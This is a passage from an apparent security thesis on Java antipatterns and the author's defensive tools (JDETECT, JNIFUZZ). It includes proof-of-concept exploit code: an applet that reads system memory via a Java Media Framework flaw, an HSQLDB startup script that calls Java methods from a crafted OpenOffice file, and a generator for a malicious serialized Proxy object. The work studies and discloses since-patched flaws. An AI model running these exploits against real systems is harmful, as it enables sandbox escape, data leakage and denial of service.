The virtual machine (and not the programmer) is responsible to adapt to
the specifics of a given runtime platform and its proprietary settings. As
all applications JAVA programs need access to system near functionality.
To fulfill this requirement without dropping the platform-neutral facade
of the JAVA runtime environment the bridging to the system functions is
achieved by using JNI. By utilizing the native keyword, JAVA function
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Name Losing Abstraction Antipattern
Problem The JAVA protection model depends on the enforcement of
strict visibility rules. These only allow privileged callers to use
system-near functions and data. Information could leak to at-
tackers.
Background Pure JAVA functions cannot access most system-near resources
directly, although it is necessary to provide complete function-
ality for applications. Instead the JAVA system libraries provide
abstract system resources. The security manager can intercept
whenever the caller is not allowed to call a function due to the
policy definitions.
Context JNI allows defining platform independent function stubs
whereas the implementation differs for the deployed runtime
platform. It is linked dynamically. As JNI functions (typically
written in C/C++) handle native resources, a layer-below attack
could be performed by misusing C-typical weaknesses in the
native implementation and the JAVA guarding functions. CWE-
111 summarizes the potential problems of this weakness.
Forces To enhance the JDK with system-near functions, libraries need
elevated privileges. Standard extensions are loaded via the ex-
tension class loader and are assigned to the AllPermission
protection domain.
Faulty Beliefs
• The JAVA platform per default decouples access
hardware-near resources
• The protected method modifier keyword is an appro-
priate protection against misuse of a method or field
within a class.
Consequences Inappropriate guarding of methods and fields that are used to
communicate to system-near resources may allow that informa-
tion such as pointers memory can be misused by manipulating
the inner data structures and therefore allow attackers to write
to arbitrary memory locations.
Symptoms Manipulation of system memory may help an attacker to trigger
code execution attacks. An unsuccessful code execution attack
can still lead in a denial-of-service condition. However read-
access to system memory may leak sensible data to attackers.
Refactored Solution Enforcing the appropriate visibility rules to those functions that
handle system-near resources prevents that attackers break the
platform-independent decoupling from the JAVA namespace to
the physical system.
Table 8.18: Security antipattern: Losing Abstraction
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stubs are bound to native function backends, typically written in C. The
weakness Direct use of unsafe JNI is known as CWE-111.
8.8.4 Forces
The TCB of a JAVA Runtime Environment is backed up by the enforce-
ment of the visibility rules, specified in the JAVA language specification.
To enhance the functionality of the standard JRE installation Sun intro-
duced the concept of extension libraries. These libraries are loaded with
an enhanced set of permissions (typically AllPermission)to access sys-
tem near resources.
8.8.5 Faulty Beliefs
The belief that JAVA completely decouples hardware-specific functional-
ity from being harmed by malformed injected data, only holds true when
the appropriate visibility rules are applied. Using the protected keyword
may give programmers the wrong impression that a method cannot be
used by malicious subclasses, instead subclassing can subvert this inade-
quate precaution.
8.8.6 Antipattern Solution
The JAVA Media Framework (Sun Microsystems, 2003e)(JMF) is a stan-
dard extension that allows access to multimedia elements such as music,
movies and other stream data for JAVA applications. Therefore the JMF
libraries need access to system hardware functionality such as the sound
card and graphics equipment and several codecs, native code has to be ac-
cessed from the JMF libraries. The JMF libraries are installed as standard
extensions to the lib/ext directory of the JRE. Libraries in this direc-
tory are loaded by the extension class loader and are trusted by the applet
security manager. A programming flaw within the JMF is an example
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that breaks this abstraction principle and exposes a path to physical sys-
tem memory. Moreover it introduces a vulnerability through bypassing
restrictions of standard security manager settings, which are used for ap-
plets and other contained execution models.
This vulnerability breaks the abstraction model of the JAVA language,
which keeps system-specific runtime concerns away from the program-
mer.
Consequences
The NBA (NativeBlockAccessor) is the responsible class to provide a
specified communication area between the JAVA language and native mem-
ory. The cause for the problem is the inappropriate guarding of an internal
variable of the NBA class inside the JMF. This variable holds the pointer to
a native memory block. By subclassing the NBA class, this data was made
available to arbitrary JAVA applets, using conversion routines to map JAVA
byte values to system memory.
Symptoms
Following is the proof-of-concept code for the vulnerability, it was first
described by the vendor in (Sun Microsystems, 2003i), and is rated as a
denial-of-service vulnerability.
The code shows that there is more in this vulnerability than crash the
vm, it allows reading and writing SYSTEM memory from an unsigned
applet therefore bypassing the sandbox. Testing shows that version is JMF
2.1.1.c vulnerable, after our notification Sun released the patched 2.1.1.e
version.
For a test case it is necessary to construct an applet that calls the JMF
classes in classpath and construct an HTML page to load this untrusted
applet in a web browser.
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public class ReadEnv extends Applet{
// Applet that Reads the Environment via vulnerable JMF routine
// (2003) Marc Schoenefeld, www.illegalaccess.org
static NBA base = new NBA(byte[].class,18);
public static void crash(Object o) {
NBA ret = new NBA(byte[].class,4);
long oldret = ret.data;
System.out.println(
"Base of data: "+
Long.toString(base.data,16));
String[] envs = {"USERDOMAIN","USERNAME",
"USERPROFILE","CLASSPATH",
"TEMP","COMSPEC",
"JAVA_HOME","Path",
"INCLUDE"};
for (int i = 0; i < envs.length; i++) {
String val = NBAFactory.getEnv(
envs[i],
base.data,
base.data+32768);
if (!(o instanceof Applet)) {
System.out.println(envs[i]+":"+val);
}
else {
javax.swing.JOptionPane.showMessageDialog(
(java.applet.Applet) o,
envs[i]+":"+val);
}
}
try {
System.out.println(
System.getProperty("java.class.path"));
java.util.Properties p = System.getProperties();
p.list(System.out);
}
catch (java.security.AccessControlException e) {
System.out.println(
"Cannot read environment via getProperties:"+e);
}
ret.data = oldret;
}
public static void main(String[] a) {
crash(null);
}
public void paint(Graphics g) {
if (init == 0) {
init=1;
crash(this);
}
}
static int init = 0;
}
Figure 8.36: Reading system memory from an untrusted applet
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The additional code provided in Figure 8.36 and Appendix A.1 demon-
strates the effects of this antipattern. It is aimed to read system memory
and demonstrates how to read the system environment variables from an
untrusted applet, in the case the JMF 2.1.1.c is installed.
8.8.7 Refactored Solution
Appropriate visibility definitions where introduced to the involved meth-
ods that handle system-near resources prevents that attackers break the
platform-independent decoupling from the JAVA namespace to the phys-
ical system. Therefore the visibility of the class com.sun.media.NBA was
changed. This measure prevented untrusted callers to access the data
fields of that class.
8.8.8 Detection
The existence of this vulnerability in an installed JRE instance can be de-
tected during penetration testing with the Nessus vulnerability scanner,
as it has been incorporated into the set of Nessus standard tests (Tenable
Network Security, 2003).
8.8.9 Affected Security Goals
The violated guidelines by this Antipattern are marked in Table 8.19.
8.8.10 Summary
The antipattern description shows that privileged functionality needs ap-
propriate guarding to prevent misuse from malicious code. We suggest to
avoid exposing native functionality directly to via non-private method def-
initions to callers and subclasses. The code example shows how attacker-
injection bypassing code may access sensitive elements of the superclass.
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R1 Careful usage of static fields
R2 Careful usage of static methods
R3 Prefer reduced scope
R4 Limit package definitions
R5 Limit package access
R6 Preference of immutable objects
R7 Filter user supplied data
R8 Secure object serialization
R9 Avoid native methods X
R10 Clear sensitive information
R11 Limit visibility and size of privileged code X
R12 Avoid direct usage of internal system packages
Table 8.19: Violation of JSCG by the Losing Abstraction
The final keyword may prevent subclassing and therefore the definition
of similar interception techniques.
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8.9 Lax component permission settings
The JAVA programming language and the existing frameworks allows to
build applications from pre-built components and own code. Also open-
source projects often reuse libraries from different sources to build an
application system
In the next case study we describe how the reuse of a component and its
default security settings can undermine the security level of the top-level
system. In our concrete example this is the OpenOffice desktop applica-
tion and it's reuse of the HSQLDB database component. The template for
this antipattern is shown in Table 8.20.
8.9.1 Problem
Constructing a composite application from multiple components may lead
to the assignment of larger permission bundle than actually necessary.
Reusing of components without restricting their default permissions can
have fatal effects on the security level.
8.9.2 Background
Solving specialized requirements is frequently implemented by adding
standard components to the class path of the application. This component
may provide code parts to implement functionality that allows to circum-
vent security requirements of the composite application.
8.9.3 Context
This antipattern is related to CWE-250, as it fails restricting the privi-
leges of code (which is potentially untrusted). Adding a JAVA compo-
nent (like HSQLDB) to a composite application (OpenOffice) imposes the
same security problems as adding a native library, especially if this com-
ponent is implicitly run with AllPermission settings. This means that the
334 Antipatterns in distributed JAVA components
Name Lax Permission Antipattern by component reuse
Problem A composite application consists of multiple components. Each
of those has differing security assumptions.
Background Customizing specialized components are superior to rewrite
the functionality for the requirements that needs to be solved.
This often does not reflect the specific behavior of a component.
Context CWE-250 (Mitre Corporation, 2008), describes the problem of
running code with unneccessary permissions. Having a com-
ponent that has unnecessary permissions can be misused when
an attacker manages to get control of the control flow inside this
component.
Forces The SQL dialect within HSQLDB used within OpenOffice al-
lows to expose JAVA functions to the SQL namespace. This
allows to map arbitrary static methods to the functionality an
SQL script can use. This is the attack vector that lets an attacker
misuse the elevated privileges of the component.
Faulty Beliefs JAVA is known as a secure programming language. But it does
not automatically sandboxe remote code and prevent harm to
the host. As a necessary precaution a security manager needs
to be installed. Privileged resources are unprotected can be ac-
cessed by untrusted code.
Consequences By sending a handcrafted database file to a victim an attacker
can take over control of the victims machine. This can result in
a Denial-Of-Service or a code execution scenario.
Refactored Solution HSQLDB was the only part that underwent a refactoring. No
changes were made to the permission setup of the JVM pro-
cess, which runs the JAVA process. In similar cases we provide
an alternative solution to equip the application with a least priv-
ilege setup by using the JCHAINS framework.
Table 8.20: Security antipattern: Lax Permissions
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JVM runtime libraries are loaded with an enhanced set of permissions
(AllPermission) to access system resources.
8.9.4 Forces
HSQLDB allows to expose JAVA functions to the SQL namespace, as dis-
cussed in Chapter 8.6. This allows to map arbitrary static methods to the
functionality an SQL script can use.
8.9.5 Faulty Beliefs
The belief that JAVA automatically sandboxes remote code is misleading,
this is only the case, when a security manager is enabled. Only using the
security manager guarantees, that access to protected resources is blocked
by the JVM.
8.9.6 Antipattern Solution
The developers of OpenOffice did note take the possibility into account
that the ODB database structure includes a database startup script, which
is executed during the process of initializing the database structures . As
an ODB file is technically a ZIP-archive (Figure 8.38) an attacker can re-
place the default database startup file with arbitrary static function calls.
OpenOffice fails to start HSQLDB with least privileges, as it is inte-
grated without any restrictions on the JAVA process. Obviously the devel-
opers did not consider the possibility of passing handcrafted code via the
database startup script. This typically consists of a few standard SQL com-
mands, to set the table structures, the code page and a sorting sequence,
as shown in Figure 8.37.
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SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE "FirstTable"("ID" INTEGER
NOT NULL PRIMARY KEY,"TestID" VARCHAR(50))
SET TABLE "FirstTable" INDEX'64 0'
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60
SELECT * FROM "FirstTable"
WHERE ID="sun.misc.MessageUtils.toStderr"(NULL);
Figure 8.37: Calling JAVA functions from SQL in database/script
unzip -t exploitdb.odb
Archive: exploitdb.odb
[...]
testing: database/script OK
[...]
Figure 8.38: Structure of an Openoffice database file
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Consequences
As demonstrated in the code, arbitrary JAVA code can be executed, in this
case the call of a vulnerable method of the JDK runtime classes that causes
the JVM to terminate the JVM immediately causing a Denial-Of-Service
attack. We reported this problem to the vendor, which was subsequently
fixed in a security advisory Mitre Corporation (2007b).
8.9.7 Refactored Solution
Version 1.8.0_09 of HSQLDB was modified to restrict the exposure of
JAVA functions to the SQL namespace. This new default behavior is change-
able only by setting a JVM property that is read during HSQLDB startup.
Unfortunately OpenOffice did not limit the standard set of permissions
granted to the JAVA process in this refactoring. An alternative to solve this
problem is shown in the discussion about least-policy generation using
the JCHAINS framework.
8.9.8 Affected Security Goals
The violated guidelines by this Antipattern are marked in Table 8.21.
8.9.9 Summary
The half-hearted refactoring by the vendor has shown that the penetrate-
and-patch strategy is very common in current software companies. For
a single instance of a vulnerability, patching a single vulnerability is less
time consuming than fixing the root cause. This relation changes once
the number of detected bugs that have a common root cause reaches a
critical value, and the introduction of a general solution has the advantage
of requiring less total development resources.
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R1 Careful usage of static fields
R2 Careful usage of static methods
R3 Prefer reduced scope
R4 Limit package definitions
R5 Limit package access
R6 Preference of immutable objects
R7 Filter user supplied data
R8 Secure object serialization
R9 Avoid native methods
R10 Clear sensitive information
R11 Limit visibility and size of privileged code X
R12 Avoid direct usage of internal system packages
Table 8.21: Violation of JSCG by the Lax Permission
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8.10 Summary
This chapter has shown that local coding flaws in JAVA programming can
lead to violations of the major security goals, harming the global JVM se-
curity state. In the refactoring chapter we will present a detection method-
ology that analyzes bytecode patterns.

9 Refactoring tools to enhance Software Security
In the following sections we will discuss the practical application of our
research in form of refactoring tools. The JDETECT framework helps to
identify candidates in code that confirm to security antipatterns. The JNI-
FUZZ framework is helpful generating test cases to check whether a na-
tive library contains vulnerabilities that can be compromised from user
code. We finally present the JCHAINS framework that allows to analyze
applications regarding to their security requirements and later define a
least-privilege policy from the identified security requirements.
9.1 The JDETECT Framework
To scan the code inside JAVA applications for suspect code patterns such
as security antipatterns two differing approaches exist. One is to scan
source code structures and take the same input that the JAVA compiler
consumes. The second approach bases on the analysis of bytecode.
We chose the second approach as it allows detecting vulnerabilities in-
dependent from the compiler that generated the code. This additional
degree of freedom extends the scope from just being applicable for JAVA
to any language that compiles to JVM bytecode. Furthermore for black box
scenarios or undocumented third-party source code is often not available,
so analyzing bytecode is the only option covering the relevant scenarios.
In the prototyping phase the first results available were detectors that
were dependent of BCEL only, but their reporting and storage features
were very limited.
Therefore, the second design choice is to write standalone detectors or
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utilize an existing framework to integrate with. The first alternative does
not allow that the results scale with the invested input (coding time), as re-
sources have to be spent for defining an infrastructure to store and report
the findings of vulnerable code parts. We chose the second alternative and
use the FINDBUGS framework to integrate to, which provided a manage-
ment framework and advanced reporting features.
The design blueprint of JDETECT bases on the following configuration:
• BCEL as API for accessing bytecode structures
• FINDBUGS to enhances BCEL with useful detection and reporting
functions
Table 9.1 illustrates the functionality associated to both components.
BCEL FINDBUGS
• Apache Bytecode Engineering Li-
brary (Open Source)
• Developed by Dahm (2001)
• Analyze, create and modify class
files
• Visitor-pattern analysis of class
files
• Class structure and inheritance
• Control and data flow
• Define prototype detectors without
the use of advanced reporting and
storage options
• Statical Detector for bug patterns in
JAVA code (Open Source)
• Developed by the University of
Maryland (University of Maryland,
2004)
• Reporting enhancement for BCEL
• GUI/command line
• Predefined detectors
• Extensible via plugins
Table 9.1: BCEL and FINDBUGS
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9.1.1 Statical Bytecode pattern analysis with ndbugs
The first implementation of our detectors used solely the BCEL frame-
work, which meant we had to implement our own reporting, scenario
handling and other side functionality that had little to do with bug detec-
tion. First experiments with the FINDBUGS framework showed that it was
equipped the needed reporting and scenario management facilities. Being
able to lend the base functionality from the framework allowed focusing
on the implementation of the detectors. The existing detectors based on
BCEL were re-implemented for usage within the FINDBUGS framework.
Very small changes were needed as FINDBUGS also follows the visitor pat-
tern approach typical for BCEL.
9.1.2 Implementation strategy
A detector in JDETECT uses the JDetectBaseDetector class for bytecode
scanning. The scopes of different bytecode scanning detectors are listed
next.
Class detectors check for specific metadata attributes of the class that are
suspicious from a security perspective, like public static data items, that
can be manipulated from other classes without prior integrity validation.
FINDBUGS provides the abstract method visit (JavaClass arg0) call-
back to define custom behavior.
Method detectors analyze the metadata of methods. In the previous
discussion we have shown how a security-unaware coding style of these
methods can be misused by attackers. For example, one could analyze the
functionality in overridden definitions of methods, , such as readExternal
and readObject which are utilized by the Serialization API. FINDBUGS
requires overriding visit(Method arg0) to detect method specific at-
tributes.
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Bytecode detectors also analyze the bytecode of methods. Every instruc-
tion can be observed by defining the sawOpcode(int opcodeseen) call-
back. This detector is the typical subtype to analyze for antipatterns that
are identified by a suspicious control flow.
The abstract base class for JDetectBaseDetector is implemented as
shown in Figure 9.1.
package jdetect;
import org.apache.bcel.classfile.JavaClass;
import org.apache.bcel.classfile.LineNumberTable;
import edu.umd.cs.findbugs.BugReporter;
import edu.umd.cs.findbugs.BytecodeScanningDetector;
import edu.umd.cs.findbugs.ba.AnalysisContext;
import edu.umd.cs.findbugs.visitclass.Constants2;
public abstract class JDetectBaseDetector extends BytecodeScanningDetector
implements Constants2 {
protected AnalysisContext analysisContext;
protected boolean[] criteria = new boolean[10] ;
protected BugReporter bugReporter;
protected LineNumberTable lineNumbers;
protected JavaClass cc = null;
public JDetectBaseDetector (BugReporter bugReporter)
{ this.bugReporter = bugReporter; }
....
Figure 9.1: JDetectBaseDetector.java
9.1.3 Custom FINDBUGS detectors
FINDBUGS provides methods and structures to inspect JAVA code artifacts
with varying granularity they may base on checks on the class, the method
or the bytecode instruction level. This allows scanning Jar files with filters
depending on patterns on the bytecode level.
A code detector needs to define the detailed strategy to find the antipat-
tern. It is a specialized subclass of JDetectBaseDetector as illustrated
in Figure 9.2. It uses the sawOpcode() call to inspect the bytecode instruc-
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tions and evaluates whether an integer overflow occurs in a stack variable
that is later passed to a native method call. In that case, it alarms the
FINDBUGS framework that a suspicious code fragment was found. This
is implemented by a new instance of the BugInstance class and passing
that to the local BugReporter instance.
The scanners implemented in JDETECT ((Schönefeld, 2009c)) follow the
design principle to mark the single suspicious parts in the bytecode struc-
ture and when all criteria that identify an antipattern are met, they return
a success value to the calling FINDBUGS framework by calling the passed
BugReporter instance.
9.1.4 Packaging the plugin
To integrate the extended detectors into the FINDBUGS framework the
following ingredients are necessary:
• The class files
• A description file 'findbugs.xml' to define the category of the de-
tector (like malicious code, style, performance, etc.)
• A description file 'messages.xml' that defines the text that it emit-
ted by a detector.
These files are bundled in a JAVA archive (jar file), for execution they are
copied in the FINDBUGS plugin directory.
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public class IntOverflowToNativeMethodCall extends JdetectBaseDetector
{
public IntOverflowToNativeMethodCall(BugReporter bugReporter) {
super(bugReporter);
}
public void visit(Code obj) {
iaddpos = 0;
iload1stpos = 0;
iload2ndpos = 0;
invokepos = 0;
stackheight = obj.getMaxStack();
criteria[1] = false;
criteria[2] = false;
lastPC = 0;
lineNumbers = obj.getLineNumberTable();
if (lineNumbers != null) super.visit(obj);
}
public void sawOpcode(int seen) {
[...]
switch (seen) {
case INVOKEVIRTUAL:
String className = getDottedClassConstantOperand();
if (!className.startsWith("[")) {
JavaClass clazz = Repository.lookupClass(className);
Method[] methods = clazz.getMethods();
for (int i = 0; i < methods.length; i++) {
Method method = methods[i];
if (method.getName().equals(getNameConstantOperand()) &&
method.getSignature().equals(getSigConstantOperand())) {
if (method.isNative() &&
(!method.getName().equals("arraycopy") | bAlsoShowArrayCopy)) {
criteria[3] = true;
invokepos = getPC();
break;
[...]
if (criteria) {
BugInstance bi = new BugInstance(
this,
"IO_INTEGER_OVERFLOW_TO_NATIVE",
HIGH_PRIORITY
).
addClassAndMethod(this).
addSourceLineRange( this,
lastPC,
getPC()
);
bugReporter.reportBug(bi);
}
}
Figure 9.2: IntOverflowToNativeMethodCall.java
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9.1.5 Summary
It has been shown, how programmatic detection can be applied for the
discovery of security antipatterns within bytecode archives. Several vul-
nerabilities within the JRE runtime classes have been detected utilizing
our approach. The FINDBUGS framework has helped us to concentrate on
the detection goal of our previously detectors by providing a feature-rich
reporting environment.
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9.1.6 JDetect Case Study: Poisoned Ajax objects
The JDETECT framework provides programmers with help to identify prob-
lematic classes that attackers can use to subvert security goals. The fol-
lowing use case illustrates the application of JDETECT. We will follow the
structure of the already presented antipattern template.
Problem
In order to maintain the state of a web user, the JAVA Server Faces (JSF)
framework allows to this state to be transported to the browser and sent
back with the next request. The technical representation of state is gener-
ated by using the serialization API, as shown by Schönefeld (2006a) and
identified as a threat to Ajax Security by Hoffman and Sullivan (2007). An
attacker who knows the vulnerable spots of the serialization mechanism
is able to cause code flow manipulation of Denial-Of-Service attacks. We
will show in the following sections how Ajax frameworks can be affected,
and how automated tools help to identify vulnerable code parts.
Background
The process of storing the JSF state on the client uses a serialized view
state object within a hidden form field, which is replaced by a textual ref-
erence when using the server-side state storage option (Singh et al., 2007).
Layer below attacks such as misusing deserialization as a hidden con-
structor are a dangerous threat to integrity as shown in Chapter 7.1.8.
Context
Web applications are transporting their data on top of stateless HTTP(S)
streams, which are following the traditional send-and-forget mechanism.
For advanced applications, such as shopping web sites, the state of user
interactions has to be memorized over multiple HTTP requests.
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As HTTP and HTTPS are stateless protocols, the application layer has
to fulfill over the task of maintaining the state. The HTTP specification
provides the storage of the user state in either cookies or CGI variables.
Forces
Within the JSF framework the state can be either maintained on the client,
or on the server. For scalability and failover purposes the client storage
option may be chosen. This is typically necessary when the web-servers
are unable to share their session state database. For high-volume web
applications storing the state for each individual client on the server side
may drastically increase transient storage demand of the application.
To securely store the JSF view state on the client tamper-proof storage
is important to be able to detect a forged change on the client-side. This
would require encryption or at least a signature verifiable by the server-
side JSF implementation. But not all JSF implementations allow client-
side encryption of the state.
Faulty Beliefs
Programmers tend to think of serialized objects are immutable against
manipulation, but every storage of serialized objects such as the internal
view state object allows an attacker to manipulate integrity. The involved
deserialization processes can be misused by an attacker, by replacing the
serialized ViewState object with a byte array that causes an undefined
state within the serialization API and bring the JVM to an undefined state,
violating integrity and availability.
The JDETECT framework allowed us to overcome this problem by iden-
tifying classes that attackers could use to inject a poisonous view state ob-
ject. The results of the PublicCallsNative detector showed a match for
the defineClass0 method in the java.lang.reflect.Proxy class. This
class is essential for reflective programming:
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• It allows deferring of the invocation to a proxy object
• Intercepts the call before passing the request to the actual receiver
of the invocation messages
• To allow better decoupling of services.
The detector showed us that the method is triggered when Proxy.get-
ProxyClass is called by the java.io.ObjectInputStream (OIS) class,
when a proxy instance is re-constructed during deserialization. Figure 9.3
shows the control flow towards the native call.
A Denial-Of-Service vulnerability (OWASP 9) was found defineClass0,
a native method of the java.lang.reflect.Proxy class, when called with
more than 65535 strings of non-public interface classes. The guarding
checks of defineClass can be bypassed and an illegal parameter is prop-
agated into native code as shown in Figure 9.4.
We exploited the vulnerability by handcrafting a serialized representa-
tion of this class, which consists of 65536 non-public interface references,
causing a memory corruption within the receiving JVM, the structure is
shown in Appendix A.3.2.
It is not possible to create this illegal object by the use of the JAVA Se-
rialization API. Figure 9.5 illustrates how a parseable representation of a
harmful byte array is built. First the initial header bytes for a serialized
object (0xaced0005) are written, which is followed by the prefixes, defined
in the java.io.ObjectStreamConstants class in the java.io package.
TC_CLASS = 0x76 and TC_PROXYCLASSDESC = 0x7d signal that a seri-
alized proxy is the next object scheduled for deserialization. Next in the
stream, the number of interface names that are incorporated in the proxy
description is added to the stream. This integer value becomes harmful
when larger than 65535. Finally, the array values are written.
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OIS.readObject
OIS.readObject0
OIS.readClassDesc
OIS.readProxyDesc
resolveProxyClass
Proxy.getProxyClass
Proxy.defineClass0
Figure 9.3: Control flow during object deserializazion
private static native Class defineClass0(ClassLoader loader,
String name, byte[] b, int off, int len);
Figure 9.4: java.lang.reflect.Proxy.defineClass0
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private static void writeArtifiallyProxy(int len)
throws Exception {
DataOutputStream dos = new DataOutputStream(
new FileOutputStream("art" + len));
writeToDataOutputStream(dos,
new int[] { 0xac, 0xed, 0x00, 0x05, 0x76, 0x7d }); //Prefix
dos.writeInt(len);
for (int i = 0; i < len; i++) {
dos.writeUTF("java.awt.Conditional"); } // itfname
writeToDataOutputStream(dos, new int[] { 0x78, 0x72 });
dos.writeUTF("java.lang.reflect.Proxy"); //name of this class
writeToDataOutputStream(dos, new int[] { 0xe1, 0x27, 0xda, 0x20,
0xcc, 0x10, 0x43, 0xcb, 0x02, 0x00, 0x01, 0x4c });
dos.writeUTF("h"); // type indicator
writeToDataOutputStream(dos, new int[] { 0x74});
dos.writeUTF("Ljava/lang/reflect/InvocationHandler;");
writeToDataOutputStream(dos, new int[] { 0x78, 0x70 });
dos.close();
}
Figure 9.5: Generating a harmful serialized java.lang.reflect.Proxy object
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public static Class<?> getProxyClass(ClassLoader loader,
Class<?>... interfaces)
throws IllegalArgumentException
{
if (interfaces.length > 65535) {
throw new IllegalArgumentException("interface limit exceeded");
}
Figure 9.6: Refactored code snippet in Proxy.GetProxyClass method
We chose java.awt.Conditional, as this class fulfills two require-
ments:
1. It is an interface.
2. It is loaded by the system class loader.
3. It is not public, which is a precondition set by the guarding code.
Next, the block data section is ended with a TC_ENDBLOCKDATA = 0x78,
and a class definition is started with a TC_CLASSDESC = 0x72 tag, fol-
lowed by the UTF-8 encoded name and the rest of metadata necessary to
correctly pass the integrity checks of the Serialization API (Sun Microsys-
tems, 2001b).
Refactoring
The release 1.5.0_06 of the JDK introduced a replacement of the vulner-
able code parts. Sun refactored them by adding a check for the number of
referenced interfaces, blocking that more than 65535 can be specified. In
that case, an IllegalArgumentException is thrown with interface limit
exceeded as informational text as shown in Figure 9.6.
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Antipattern solution
The default setting of the JSF framework for storing the session state is
the server side. Web applications for JEE are deployed as components
bundled in WAR (web archive) files. An individual web application can
change the state saving default by setting the value for the parameter
STATE_SAVING_METHOD within the WEB-INF/web.xml file. The possible
values are client or server. Setting the value to client without preventing
that the client state is manipulated allows triggering the uninvited object
antipattern as shown in Chapter 8.5.
Consequences
Allowing the JVM to accept external serialized data causes a serious prob-
lem, as this opens the opportunity for an attacker to launch a layer-below
attack, as introduced in Chapter 2.4.2, the illustration in Figure 9.7. A
remote attacker may insert an arbitrary serialized object instead of the
expected VIEWSTATE object, which causes a Denial-Of-Service condition
within the receiving server JVM.
Refactored Solution
Storing the state in an unprotected format on the client allows the de-
scribed effects of manipulation to happen.
The JSF specification allows an implementation framework to store the
state on the server, and this is the recommended setting for a wide set
of application scenarios. Accepting serialized objects from an untrusted
source without prior check if the received object is equal to the original
one externally stored by the server. Sun modified the deserialization im-
plementation as shown in Appendix A.4.5.
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Figure 9.7: Serialization causing a Denial-Of-Service with Java Server
Faces
356 Refactoring tools to enhance Software Security
A refactored solution on a higher abstraction level would use a JSF im-
plementation that allows encrypted storage of the view state on the client.
As only the server has knowledge of the encryption key, it is practically im-
possible for a malicious client to tamper the embedded serialized object,
and prevent a layer-below attack.
Conclusion
This antipattern case study has shown that a high-level component like
JSF may open a covert channel into vulnerable parts of the runtime en-
vironment, which is the java.lang.reflect.Proxy class of the reflection
API in this particular example. The JDETECT framework was able to point
to the vulnerable native code parts, which was modified by Sun Microsys-
tems after we notified them of our finding (CVE-2004-2460).
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9.2 JNIFUZZ
JNIFUZZ (Schönefeld, 2009d) is a tool to detect programming flaws in
native libraries that are called by JAVA methods. The integer overflow an-
tipattern shown in Chapter 8.3 illustrated the importance of the validation
of user-supplied parameter in order to minimize the attack surface. This
is a problem when using a bridge to a programming language with a dif-
ferent threat model, such as the JNI specification. JNI is the standard to
couple java methods with native implementations.
9.2.1 Implementation Strategy
JNIFUZZ generates automated test cases for native methods and it helps
to test the robustness against edge value parameters, probing the behav-
ior of processing very high or low values such as Integer.MAX_VALUE or
Double.NaN. It uses the reflection API to generate automated calls with
potential harmful values.
These automated test cases are generated by using the reflection API,
and are minimal testing programs with appropriate parameters. The gen-
eration process for method calls has to incorporate techniques for calling
native methods, for both static and instance variants.
Furthermore the visibility of the method (and all needed constructors)
has to be taken into account. Test cases for static methods are easier to im-
plement, as only the visibility of the method has to be adjusted to prepare
the call.
Additional effort is required, when dealing with instance methods, as
an object instance needs to be available to provide the context (this) for
an instance call.
The preparation phase turns into a recursive problem, as the required
as all parameters that are fed into the method may need appropriate ad-
justment of their visibility and generation logic to construct parameter
objects.
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The requirements of JNIFUZZ sum up as to be able to generate:
1. invocations for public methods that are immediately callable
2. invocations for non-public methods that are indirectly callable
3. Call static methods
4. Call instance methods, therefore prepare object with a constructor
(prepare visibility)
5. prepare parameters that are required by the signature of method to
test (prepare visible constructor, need similar preparation to step 4)
All these steps can be performed with the reflection API.
9.2.2 Practical results
JNIFUZZ was also helpful discovering a set of integer overflow cases within
early versions of the JDK, described in Chapter 8.3. With the presented
techniques we also analyzed the PulseAudio library that is shipped with
OpenJDK in the Fedora 10 distribution (OpenJDK project, 2009; Mitre
Corporation, 2009b). Although the native methods were guarded the pa-
rameter combination induced by JNIFUZZ we detected a set of parameter
combinations that allow crashing the native methods due to an integer
overflow. After knowing that the native method is missing a parameter
checks, we only needed to find a case where the detection routines could
be circumvented. For that case we used the integer addition behavior of
the JAVA language.
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9.2.3 JNIFUZZ CaseStudy
JNIFUZZ is a command line application, and follows the master-slave pat-
tern (Buschmann, 1995). The process in the master JVM is responsible
for maintaining the overall state and equipping the slave processes with
the appropriate parameter combination that described a specific test sce-
nario. The slave JVM is responsible to perform a single test case that is
dictated by the master JVM. During runtime the master JVM accumulates
the state of the test scenario which is dumped as an XML file after all tests
are performed. This allows later transformation to end-user reports via an
XSLT transformation.
Startup
Without a command line parameter JNIFUZZ inspects the native routines
of the JDK that is associated with the java command, that was used to
start the tool. The command line presented in Figure 9.8 illustrates the
startup of the master process.
java -cp bin HarnessStarter
Figure 9.8: JNIFUZZ master startup
The master process delegates the control flow to the slave by calling an-
other JVM process via the command line, such as presented in Figure 9.9.
java -cp bin NativeHarness
Figure 9.9: JNIFUZZ slave commandline
The JVM processes of master and slave communicate via an XML file
that is illustrated in Figure 9.10. It also holds the current state of the test,
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to be able to stop and restart test scenarios at a given state. The master
application restarts at the position after the last saved crash scenario.
<call>private static native void
com.sun.imageio.plugins.jpeg.JPEGImageReader.disposeReader(long)/
null9223372036854775807]</call>
<pid>26479</pid>
<call>private static native void
com.sun.imageio.plugins.jpeg.JPEGImageWriter.disposeWriter(long)/
null/[9223372036854775807]</call>
<pid>26498</pid>
<call>private static native int
com.sun.java.swing.plaf.gtk.GTKStyle.nativeGetXThickness(int)/
null/[-2147483648]</call>
<pid>26517</pid>
<call>private static native int
com.sun.java.swing.plaf.gtk.GTKStyle.nativeGetYThickness(int)/
null/[-2147483648]</call>
<pid>26542</pid>
<call>private static native java.lang.Object
com.sun.java.swing.plaf.gtk.GTKStyle.nativeGetClass
Value(int,java.lang.String)/null/[-2147483648,[1GB String]]</call>
<pid>26568</pid>
<call>private static native java.lang.String
com.sun.java.swing.plaf.gtk.GTKStyle.nativeGetPango
FontName(int)/null/[-2147483648]</call>
<pid>26592</pid>
[...]
Figure 9.10: JNIFUZZ slave result file
With the use of JNIFUZZ we discovered a range of internal JDK meth-
ods that miss appropriate guarding against unexpected parameter values.
The information shown in Figure 9.10 illustrates a small subset of the
crash cases found in the JNI routines of the OpenJDK 1.6.0 class libraries.
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It lists the parameter values that led to the JVM crash as well as the PID of
the process, which allows to lookup the crash log for detailed inspection.
Communication After termination of a test case the master JVM looks
up the result left over by the client JVM. As a crash of a client JVM is a
common outcome of JNIFUZZ, a file based communication pattern be-
tween master and slave was chosen. When the master application starts
up a slave, it passes the parameter in a command file. The master blocks a
thread during execution of a slave. When the slave terminates, the master
looks up a defined result file. When no result file is found, the slave JVM
must have crashed. In this case the hs_err_pidXXXX.logis evaluated,
